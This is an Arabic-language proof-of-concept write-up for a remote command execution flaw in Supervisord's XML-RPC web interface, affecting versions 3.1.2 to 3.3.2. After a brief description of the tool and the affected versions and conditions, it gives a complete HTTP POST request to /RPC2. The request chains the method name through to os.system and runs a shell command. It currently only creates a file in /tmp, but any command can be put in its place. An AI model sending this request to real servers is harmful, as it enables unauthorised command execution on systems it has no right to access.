
سكربت ثغرة تنفيذ الأوامر عن بُعد في Supervisord
Supervisor هي أداة لإدارة العمليات مكتوبة بلغة Python، ويمكن استخدامها بسهولة في الأنظمة الشبيهة بـ UNIX (لا تدعم Windows) لبدء العمليات (وليس فقط عمليات Python) وإعادة تشغيلها (إعادة التشغيل التلقائي للبرامج) وإيقافها.
Supervisor هو برنامج يعمل بنموذج C/S؛ supervisord هو جانب الخادم (server)، وsupervisorctl هو جانب العميل (client). ببساطة، يقوم العميل بإدخال أوامر supervisor لاستدعاء واجهة برمجة التطبيقات (API) الخاصة بالخادم لإنجاز بعض المهام.
في الواقع، يستخدم الكثيرون خدمة الويب الخاصة بـ Supervisor، أي عميل supervisord. ما دام المسار (routing) متاحًا، يمكن عن بُعد تنفيذ عمليات مشابهة لتلك التي يقوم بها عميل supervisor عبر صفحة الويب. تُنفَّذ العمليات عبر واجهة الويب من خلال واجهة XML-RPC، وتكمن هذه الثغرة أيضًا في معالجة البيانات داخل واجهة XML-RPC.
الإصدارات من Supervisor version 3.1.2 إلى Supervisor version 3.3.2
تشغيل خدمة الويب مع إمكانية الوصول إلى المنفذ 9001
كلمة المرور ضعيفة أو فارغة
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
هذا الـ POC لا يُرجع أي استجابة (بدون إخراج)
